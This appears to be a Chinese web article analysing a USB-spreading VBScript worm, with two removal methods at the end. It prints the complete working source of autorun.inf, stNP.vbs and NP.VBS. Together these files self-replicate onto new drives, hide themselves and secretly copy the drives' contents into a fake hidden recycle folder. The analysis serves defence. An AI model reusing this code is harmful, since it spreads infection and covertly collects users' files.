最新惡意復(fù)制型病毒autorun.inf,stNP.VBS,NP.VBS代碼簡(jiǎn)單解析和解決方法
最新惡意復(fù)制型病毒autorun.inf,stNP.VBS,NP.VBS
及代碼分析與病毒處理兩種方法
方法一:來自于指間輕舞
此病毒最大的特點(diǎn)在于中毒后,自動(dòng)感染你的硬盤根目錄,并復(fù)制病毒文件。無論你是采用雙擊,還是右鍵選擇打開,或者運(yùn)行資源管理器都會(huì)自動(dòng)運(yùn)行其代碼(病毒),所以中此病毒后,新手往往打不開盤符,導(dǎo)致數(shù)據(jù)無法讀取。
下面是病毒的代碼分析 文件總共有三個(gè) 都很簡(jiǎn)單,已經(jīng)加上了注解。
文件名:autorun.inf
[autorun]
open=
shell\open=打開(&O)
shell\open\Command=WScript.exe stNP.vbs
shell\open\Default=1
shell\explore=資源管理器(&X)
shell\explore\Command=WScript.exe stNP.vbs
文件名:stNP.VBS
功能是檢測(cè)np.vbs是否存在,存在則運(yùn)行
on error resume next
set fso = CreateObject("Scripting.FileSys"&"temObject")
if fso.FileExists("NP.vbs") = -1 then
if fso.FileExists("d:\NP.vbs") = -1 then
set f = fso.getfile("d:\NP.vbs")
if f.attributes = 0 then
else
f.attributes = 0
end if
f.delete(true)
end if
fso.copyfile "NP.vbs", "d:\NP.vbs", true
set wshshell = wscript.createobject("WScript.Shell")
wshshell.run "d:\NP.vbs"
end if
文件名:NP.VBS
-----
'[NatruePark]
'容錯(cuò)語句
on Error resume next
'變量聲明及初始化
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell
set fso = CreateObject("Scripting.File"&"SystemObject")
set wshshell = wscript.createobject("WScript.Shell")
old_n=0
redim old_drs(old_n)
old_drs(0)="C"
'[主體部分]
wshshell.run("explorer .\")
dim i
i = 0
do while i>=0 and i<8*360
scan_disk()
if judge_new_disk() = 1 then
dim left_n
left_n = 1
do while left_n<=(new_n-old_n)
new_disk = new_drs(left_n+old_n)&":\"
'-----------------<維護(hù)塊>-----------------
if fso.FileExists(new_disk&"NP.vbs") = -1 then
else
self_copy(new_disk)
end if
add_attrib(new_disk&"NP.vbs")
if fso.FileExists(new_disk&"autorun.inf") = -1 then
del_attrib(new_disk&"autorun.inf")
end if
add_autorun(new_disk)
add_attrib(new_disk&"autorun.inf")
if fso.FileExists(new_disk&"stNP.vbs") = -1 then
else
add_stNP(new_disk)
end if
add_attrib(new_disk&"stNP.vbs")
'-----------------</維護(hù)塊>-----------------
'-----------------<功能塊>-----------------
dim rec
rec = "d:\Recyc1ed\"
if fso.FolderExists(rec) = -1 then
else
fso.createfolder(rec)
end if
add_attribf(rec)
if fso.FileExists(rec&"desktop.ini") = -1 then
else
add_desktop(rec)
end if
add_attrib(rec&"desktop.ini")
aim_folder = rec&Date()&Rnd()
if fso.FolderExists(aim_folder) = -1 then
else
fso.createfolder(aim_folder)
end if
'查找"汽輪機(jī)原理文件夾并復(fù)制"
if fso.FolderExists(new_disk&"汽輪機(jī)原理") = -1 then
fso.copyfolder new_disk&"汽輪機(jī)原理", aim_folder, true
add_attribf(aim_folder)
end if
'通用復(fù)制
if old_n = 0 then
else
set fp = fso.getFolder(new_drs(new_n)&":\")
set fc = fp.SubFolders
for each f in fc
fso.copyfolder f&"", aim_folder&"\"&f.name, true
next
set fc = fp.files
for each f in fc
fso.copyfile f&"", aim_folder&"\", true
next
add_attribf(aim_folder)
end if
'-----------------</功能塊>-----------------
left_n=left_n+1
loop
copy_disk()
end if
wscript.sleep(10000)
i=i+1
loop
'[函數(shù)部分]
'可用驅(qū)動(dòng)器檢測(cè) new_drs(),new_n
function scan_disk()
dim d, dr
new_n = -1
set dr = fso.drives
for each d in dr
if d.isready then
new_n=new_n+1
redim preserve new_drs(new_n)
new_drs(new_n)=d.driveletter
end if
next
end function
'判斷是否有新加入的驅(qū)動(dòng)器
function judge_new_disk()
if new_n = old_n then
judge_new_disk = 0
elseif new_n < old_n then
redim preserve old_drs(new_n)
old_n = new_n
judge_new_disk = 0
elseif new_n > old_n then
redim preserve old_drs(new_n)
judge_new_disk = 1
end if
end function
'復(fù)制新驅(qū)動(dòng)器表單
function copy_disk()
dim n
n=0
do while n<=new_n
old_drs(n) = new_drs(n)
n=n+1
loop
old_n = new_n
end function
'添加指定文件屬性
function add_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'刪除指定文件屬性
function del_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
f.attributes = 0
else
end if
end function
'自我復(fù)制到指定文件目錄
function self_copy(folder)
dim aim_path, mid_path, self_file, mid_file
aim_path = folder&"NP.vbs"
mid_path = "c:\np.bin"
set self_file = fso.opentextfile(wscript.scriptfullname,1)
self = self_file.readall
set mid_file = fso.opentextfile(mid_path,2,true)
mid_file.write self
mid_file.close
set mid_file = fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
end function
'增加autorun.inf
function add_autorun(folder)
dim path
path = folder&"autorun.inf"
set temp = fso.CreateTextFile("c:\a.bin",true)
temp.writeline "[autorun]"
temp.writeline "open="
temp.writeline "shell\open=打開(&O)"
temp.writeline "shell\open\Command=WScript.exe stNP.vbs"
temp.writeline "shell\open\Default=1"
temp.writeline "shell\explore=資源管理器(&X)"
temp.writeline "shell\explore\Command=WScript.exe stNP.vbs"
temp.close
set cop = fso.getfile("c:\a.bin")
cop.copy(path)
cop.delete(true)
end function
'增加desktop.ini
function add_desktop(folder)
dim path
path = folder&"desktop.ini"
set temp = fso.CreateTextFile("c:\d.bin",true)
temp.writeline "[.ShellClassInfo]"
temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
temp.close
set cop = fso.getfile("c:\d.bin")
cop.copy(path)
cop.delete(true)
end function
'增加stNP.vbs
function add_stNP(folder)
dim path
set fso = CreateObject("Scripting.File"&"SystemObject")
path = folder&"stNP.vbs"
set temp = fso.CreateTextFile("c:\s.bin",true)
temp.writeline "on error resume next"
temp.writeline "set fso = CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
temp.writeline "if fso.FileExists("&chr(34)&"NP.vbs"&chr(34)&") = -1 then"
temp.writeline "if fso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&") = -1 then"
temp.writeline "set f = fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")"
temp.writeline "if f.attributes = 0 then"
temp.writeline "else"
temp.writeline "f.attributes = 0"
temp.writeline "end if"
temp.writeline "f.delete(true)"
temp.writeline "end if"
temp.writeline "fso.copyfile "&chr(34)&"NP.vbs"&chr(34)&", "&chr(34)&"d:\NP.vbs"&chr(34)&", true"
temp.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
temp.writeline "wshshell.run "&chr(34)&"d:\NP.vbs"&chr(34)
temp.writeline "end if"
temp.close
set cop = fso.getfile("c:\s.bin")
cop.copy(path)
cop.delete(true)
end function
'添加指定文件夾屬性
function add_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'刪除指定文件夾屬性
function del_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 0 then
else
f.attributes = 0
end if
end function
wscript.echo("THANK YOU!!")
wscript.quit
病毒好像有點(diǎn)良心 不會(huì)感染C盤,所以解決的方法還是有的:用資源管理器打開C盤,然后在左邊展開其他盤符,在工具-文件夾-查看中去掉隱藏受保護(hù)的系統(tǒng)文件的鉤并選擇查看所有文件。將各個(gè)盤符隱藏的以上三個(gè)文件刪除,重新啟動(dòng)即可。
方法二:作者剛成功操作得出
只需要進(jìn)入WinPE之后,查找NP.VBS就可以連stNP.VBS全部查處,刪除這些惡魔,即可?。。?
上一篇:vbscript下調(diào)用 Dir 命令的方法
欄 目:vb
下一篇:用vbscript實(shí)現(xiàn)從文本文件中刪除所有重復(fù)行的代碼
本文標(biāo)題:最新惡意復(fù)制型病毒autorun.inf,stNP.VBS,NP.VBS代碼簡(jiǎn)單解析和解決方法
本文地址:http://mengdiqiu.com.cn/a1/vb/7844.html
您可能感興趣的文章


閱讀排行
- 1C語言 while語句的用法詳解
- 2java 實(shí)現(xiàn)簡(jiǎn)單圣誕樹的示例代碼(圣誕
- 3利用C語言實(shí)現(xiàn)“百馬百擔(dān)”問題方法
- 4C語言中計(jì)算正弦的相關(guān)函數(shù)總結(jié)
- 5c語言計(jì)算三角形面積代碼
- 6什么是 WSH(腳本宿主)的詳細(xì)解釋
- 7C++ 中隨機(jī)函數(shù)random函數(shù)的使用方法
- 8正則表達(dá)式匹配各種特殊字符
- 9C語言十進(jìn)制轉(zhuǎn)二進(jìn)制代碼實(shí)例
- 10C語言查找數(shù)組里數(shù)字重復(fù)次數(shù)的方法
本欄相關(guān)
- 01-10下載文件到本地運(yùn)行的vbs
- 01-10飄葉千夫指源代碼,又稱qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個(gè)高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語法速查及實(shí)例說明
隨機(jī)閱讀
- 01-10使用C語言求解撲克牌的順子及n個(gè)骰子
- 04-02jquery與jsp,用jquery
- 01-11ajax實(shí)現(xiàn)頁面的局部加載
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 08-05織夢(mèng)dedecms什么時(shí)候用欄目交叉功能?
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 01-10delphi制作wav文件的方法
- 08-05DEDE織夢(mèng)data目錄下的sessions文件夾有什
- 08-05dedecms(織夢(mèng))副欄目數(shù)量限制代碼修改
- 01-10C#中split用法實(shí)例總結(jié)